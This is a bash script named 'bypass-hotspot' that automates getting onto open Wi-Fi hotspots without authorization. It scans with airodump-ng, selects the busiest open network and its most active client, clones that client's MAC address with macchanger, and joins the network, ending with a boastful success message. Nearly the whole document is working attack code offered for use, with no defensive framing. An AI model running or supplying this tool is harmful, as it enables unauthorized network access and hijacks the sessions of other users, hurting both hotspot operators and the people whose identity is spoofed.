bypass-hotspot

#!/bin/bash

command_exists () {
    echo -ne "Checking for $1: \t"
    if which $1 &> /dev/null
    then
        echo -e "\e[32mOK"
    else
        echo -e "\e[31mKO"
        exit 1
    fi
    echo -ne "\e[0m"
    sleep .5
}

menu () {
    i=1

    for x in "$@"
    do
        echo -e "[\e[96m$i\e[0m] $x"
        let i=i+1
    done
    echo -e ""
    read -p "choice: " choice_nb
    choice=${!choice_nb}
    if [ "$choice" == "" ]
    then
        menu "$@"
    fi
}

choose_card () {
    cards=$(/usr/sbin/ifconfig | grep "^wl" | cut -d : -f1)
    nb_cards=$(/usr/sbin/ifconfig | grep "^wl" | cut -d : -f1 | wc -l)
    if [ "$nb_cards" == "1" ]
    then
        card=$(/usr/sbin/ifconfig | grep "^wl" | cut -d : -f1)
    elif [ "$nb_cards" == "0" ]
    then
        echo -e "\e[31mNo wifi card detected"
        exit 1
    else
        clear
        echo -e "Choose the wifi card you want to use to attack:"
        echo -e ""
        menu $cards
        card=$choice
    fi
}

find_max () {
    max=0
    line_max=0
    line=1
    re='^[0-9]+$'
    for x in "$@"
    do
        if [[ $x =~ $re ]] && [ "$x" -gt "$max" ]
        then
            max="$x"
            line_max="$line"
        fi
        let line=line+1
    done
}

check_dump () {
    clear
    cat dump-01.csv | tail -n +3 | head -n -3 > dump
    rm *.csv
    packets="`cat dump | cut -d , -f11 | sed 's/ //g'`"
    find_max $packets
    if [ "$line_max" == "0" ]
    then
        echo -e "\e[31mNo vulnerable hotspot found...\e[0m"
        rm dump
        exit 1
    fi
    line="`cat dump | sed -n "${line_max}p"`"
    echo $line
    bssid="`echo $line | cut -d , -f1`"
    essid="`echo $line | cut -d , -f14 | sed 's/ //g'`"
    echo $bssid
    echo $essid
    rm dump
}

check_client () {
    clear
    cat client-01.csv | tail -n +6 | head -n -1 > client
    rm *.csv
    cat client
    if [ "`cat client`" == "" ]
    then
        echo -e "\e[31mNo client found on the hotspot $essid...\e[0m"
        rm client
        exit 1
    fi
    packets="`cat client | cut -d , -f5 | sed 's/ //g'`"
    find_max $packets
    if [ "$line_max" == "0" ]
    then
        line_max="1"
    fi
    line="`cat client | sed -n "${line_max}p"`"
    mac="`echo $line | cut -d , -f1`"
    echo $mac
    rm $client
}

change_mac () {
    echo -e "Choose the wifi card you want to use to get internet:"
    echo -e ""
    menu $cards
    card=$choice
    service "`ls /etc/init.d | grep network`" stop
    macchanger -m $mac $card
    service "`ls /etc/init.d | grep network`" start
}

check_ping () {
    wget -q --spider http://google.com

    if [ $? -eq 0 ]; then
        echo "Online"
        echo "You are a foocking hacker!!!"
    else
        echo "Offline"
    fi
}

if [ "$EUID" -ne 0 ]
then
    echo -e "\e[31mPlease run this program as root (use sudo)\e[0m"
    exit
fi

#command_exists airodump-ng
#command_exists macchanger
clear

choose_card
echo $card
timeout -sHUP --foreground 10 airodump-ng -w dump --encrypt OPN --output-format csv $card
check_dump
timeout -sHUP --foreground 20 airodump-ng -w client --encrypt OPN --output-format csv --bssid $bssid $card
check_client
change_mac
iwconfig $card essid $essid
echo -e "Waiting for connection"
sleep 20
check_ping